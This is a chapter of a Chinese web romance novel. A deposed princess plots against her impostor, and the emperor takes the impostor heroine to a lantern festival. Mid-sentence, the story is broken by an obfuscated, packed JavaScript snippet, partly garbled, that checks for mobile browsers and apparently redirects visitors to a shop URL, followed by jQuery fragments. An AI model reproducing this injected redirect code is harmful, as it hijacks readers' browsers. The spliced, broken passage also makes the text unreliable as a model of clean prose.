澜山境 > 都市言情 > 替公主嫁给质子后 > 11. 灯会
    傍晚,一辆马车驶入云州。

    铜铃摇晃,一路疾驰。不久后,停在云州最大的客栈前。

    说是最大的客栈,但在云州这样的小地方,这客栈的规模也大不到哪去。

    持刀侍卫放好脚凳,等待马车内的人下来。

    素手撩帘,跳出来一个侍女打扮的姑娘,毕恭毕敬地扶着主子下车。

    他们的主子头戴幕篱,严严实实覆盖住全身,只能依稀辨认出是个女子。

    三人着实低调,快步走进客栈。

    侍卫先去找掌柜要了三间客房,再带着她们入客房休整。

    一进房门,姜黎阳泄怒般扔了幕篱,阴沉着脸坐在圆桌前。

    连日来舟车劳顿,吃不好睡不好,行路又十分颠簸,惹得她实在没了脾气。

    想当初,她可是大靖最尊贵的朔月公主,去哪都是香车华盖,仆从如云,行人避让。如今可好,只能乘一辆不起眼的马车,仆从也……

    都是因为齐聿那个贱奴!迟早有一天,北靖的铁骑会踏平南齐,她要亲手为自己报仇!

    侍女莲心不敢多言,捡起幕篱放好,赶紧给朔月公主倒茶。

    “噗!”

    “这是什么破烂玩意儿!呸!也太涩了!”

    姜黎阳只轻抿一口,一张脸都皱了起来。

    莲心也有苦难言,只好劝道:“公主别气,等明日陆将军回了府衙,咱们就能搬过去,到时便不用再吃这些苦了……”

    提到陆佑息,姜黎阳更是窝火。

    她失了公主身份,日日躲在母后宫中,憋得没办法。

    皇后疼她,为了她的终身着想,决定把她秘密嫁给戍守云州的陆佑息。

    姜黎阳和陆佑息是青梅竹马,从前,她心高气傲,看不上陆佑息。

    可现在,北靖已经没有朔月公主,她是个见不得光的存在。

    望着母后鬓边多出的几根白发,她心疼了,也妥协了。

    却没料到,皇后多番去信暗示陆佑息,他却一直顾左右而言他。

    姜黎阳慌了,她若想继续过着尊贵奢华的日子,就少不了陆佑息的助力。

    于是,她亲自南下,来寻陆佑息。

    门被轻敲两下,“小姐,楼下饭菜已备好,请先用饭罢。”

    一行人来到楼下备好的饭桌前坐好,姜黎阳看着桌上简单的菜式,连油花都少得可怜。

    她有些没胃口。

    但看着周围几桌人吃得餍足,勉强提起一点食欲。

    “老哥!真没想到在这还能遇见你,打算在这云州城待多久啊?”

    一个满脸络腮胡的中年男人喝酒喝得尽兴,声音不可避免地大了些。

    被称作“老哥”的另一个男人摆摆手,“不久留,这天下看是要乱,云州太危险。”

    云州地处靖、齐两国边界,若开战,此地必定战火纷飞。

    “诶呦老哥,何出此言呐!”

    络腮胡又给自己添了杯酒。

    “我把你当兄弟,有些话自然也不会避讳你。我看啊,还是趁早走,咱们北靖天灾不断,陛下又……唉,老哥我在南齐待过几年,依我看,咱们北靖不是人家的对手,迟早会……”

    姜黎阳一听这话便气昏了头,放下筷子便要同他理论,说什么丧气话,长他人志气灭自己威风,实在是晦气。

    不料被侍卫阻挠,示意她莫要生出是非。

    “我看不尽然。”络腮胡反对道。

    “贤弟有何见解?”

    “老哥,你去南齐那都是前几年的事了。你可知道朔月公主?”

    一听到那两人谈到自己,姜黎阳竖起耳朵仔细听,心里有些发毛。

    “自然知道,咱们的公主,现如今南齐帝的嫔妃嘛。据说在南齐过得不好,啧啧。”老哥抿了口酒,叹息道。

    络腮胡摸了把胡子,神秘地笑了一下,“老哥,你的消息还是太滞后了。”

    “现如今,朔月公主可是南齐帝最宠爱的妃子。”

    姜黎阳瞪大眼睛。不可能啊,她都那样羞辱齐聿了,怎么可能。

    “英雄难过美人关。这南齐帝为了她,可是把从前最受宠的淑妃都禁足了,啧啧啧,依贤弟看,只要朔月公主一日受宠,云州乃至整个大靖都不会有事……”

    怎么会这样,自南齐传来的消息,均是假朔月位分低微,没人伺候,还要日日忍受嗜杀成性的齐聿的折磨。

    如何会是受宠……

    “当真?”老哥若有所思。

    “骗你做甚,如今南齐帝后宫虚设,唯咱们朔月公主一人,可真是争气啊……两国交恶,近几年恐怕都不会发生啊。”

    之后的谈话,姜黎阳都听不进去,脑子里一直回荡着那句话。

    那个冒牌货,竟是齐聿最宠爱的妃子。

    一个假货,如何能过得比正主好,还一直欺骗她。

    欺骗?对,从前过得不好的那些话一定都是骗她的。

    竟敢玩弄于她,是不想活了吗……

    姜黎阳面色愈沉,怒意冲昏头脑,可不一会儿,她便冷静下来。她想出一个绝佳的对策。

    那冒牌货养母的性命,此刻还握在她母后手中。

    只要齐聿死了,一切问题都迎刃而解……

    没错。姜黎阳的双眼泛出狂热的亮光。

    让假朔月杀死齐聿,自己就可以恢复原本的身份,继续做尊贵的公主……

    ———

    圆月当空,灯火通明。

    平芜同若薇立在西青门,在等齐聿。

    秋日夜里多少寒了些,若薇给她多加了一件藕荷色的披风,显得她清丽无比。

    她没有去太后寿宴,只是提前将贺礼送去。

    一方面,夜宴之上有叶勇啸,她若去了,少不了要被叶勇啸推上风口浪尖,挑她的错来给自己女儿开脱。

    另一方面,她确实不愿意参加人多的宴会,难免应付不过来。

    齐聿也没闲着,在太后离席后,亲手砍了宴席之上受人指使,嚣张无礼的人的脑袋。

    血溅了满地,使得一众大臣都没了胃口,战战兢兢的早早离开。

    随后,齐聿满意地换了身衣服,匆忙地往西青门赶。

    站在西青门,离宫外仅仅一墙之隔。

    此处,依稀能听到街内的喧闹声、炸响的爆竹声。

    平芜隐隐有些兴奋,嘴角都是上扬的。

    对于这次出行,她无比期待。

    从前在歇山村,青姨不准她下山,每到灯会时,她一脸艳羡地看着二牛和翠翠相伴下山,回来时,两人一脸兴奋,滔滔不绝地向平芜讲述灯会的盛况。

    无疑,平芜是无比向往的。

    去年的上元灯会,她被困在北靖皇宫。前年上元灯会

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16756629|190080||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    ,依稀记得有人陪着她瞧瞧放烟花。

    那人是谁?为何一点印象都没有……

    只记得他高鼻凤目,一袭青衫,与不远处纵马而来的人的面庞重合。

    来人是南齐帝,是穿了一身青衫的齐聿。平芜对自己的想法感到惊异,怎么可能是那人……

    依稀看清他的脸后,平芜发现他在看自己。

    越来越近,直至停在自己身前。

    平芜仰起头看他。

    “会骑马么?”他薄唇微启。

    平芜摇摇头,不光她自己不会,记忆中,朔月也是不会的。

    齐聿身子前倾,一只修长有力的手伸向平芜面前。

    “上来。”

    他们,要同乘一骑么……

    他眼中暗含期待,双目灼灼,含情脉脉地盯着她瞧。

    鬼使神差的,平芜牵住他的手,踩着脚蹬,攀了上去。

    “抓紧了。”

    温热的气息洒在脖颈,惹得平芜手心发汗。

    西青门大开,他们踏出皇宫。

    待离灯会近了,二人下马,齐聿将马交给一名禁卫,便带着平芜往前走。

    前方两排木质高楼,由一排排明灯相连,均灯火通明。底下人头攒动,商贩云集,不远处还有一木质廊桥,许多有情人聚在那里放天灯。

    眼前这派景象,和二牛、翠翠他们口中讲述的灯会一般无二,甚至规模还要更大,也更热闹些。

    思及此,平芜眼角眉梢都染上笑意,连脚步都雀跃了许多。

    他们走在街上,惹得众人频频驻足围看。这般高大英俊的男子,和这么清丽动人的女子,十分养眼。

    走进深处,周边商贩都卖力地吆喝着,每样东西落在平芜眼中都十分新鲜稀奇,但最后都移回视线,专注地看着各式花灯。

    齐聿自然注意到她的想法,心里难免有些失落,她不肯开口,果然还是不信他么……

    他叫住平芜,令她稍等片刻,转身隐入人群中。

    平芜立在一家香囊摊子前,看着齐聿离去的背影,心中有预感他要做什么,心跳莫名加快几分。

    “姑娘,你相公对你可真好。”

    香囊摊主是个中年妇人,将方才那一幕尽收眼底,笑着打趣道。

    相公……

    她随手拿起一只香囊,意图掩饰微红的脸色。

    “婶子说笑了。”她回道。

    摊主笑意更浓,“姑娘你手里那个香囊上绣的是鸳鸯,可要来上两个,对你们刚成婚的小夫妻寓意最好了。”

    瞧见这小娘子害羞,细白的小脸染上薄红,她便猜出他们应是成婚不久的小夫妻……

    没等平芜回答,摊子上赫然被人放上一锭银子。

    “多谢婶子好意,香囊我们买了。”

    是齐聿的声音。

    平芜猝不及防的回头,齐聿就立在她身侧,手中拎着许多个油纸袋,方才但凡是她看过的摊子,齐聿俱买了来。

    他额上好似有汗,要在这么短的时间里,穿越熙攘的人群,一一买下这些东西,想必是用跑的罢……

    “你可开心?”他问。

    耳边香囊摊主的打趣声再难入耳,脑中回荡着的是齐聿的声音。

    平芜点头。她是开心的。

    “那就好。前面有放天灯的地方,我们去放天灯祈福,可好?”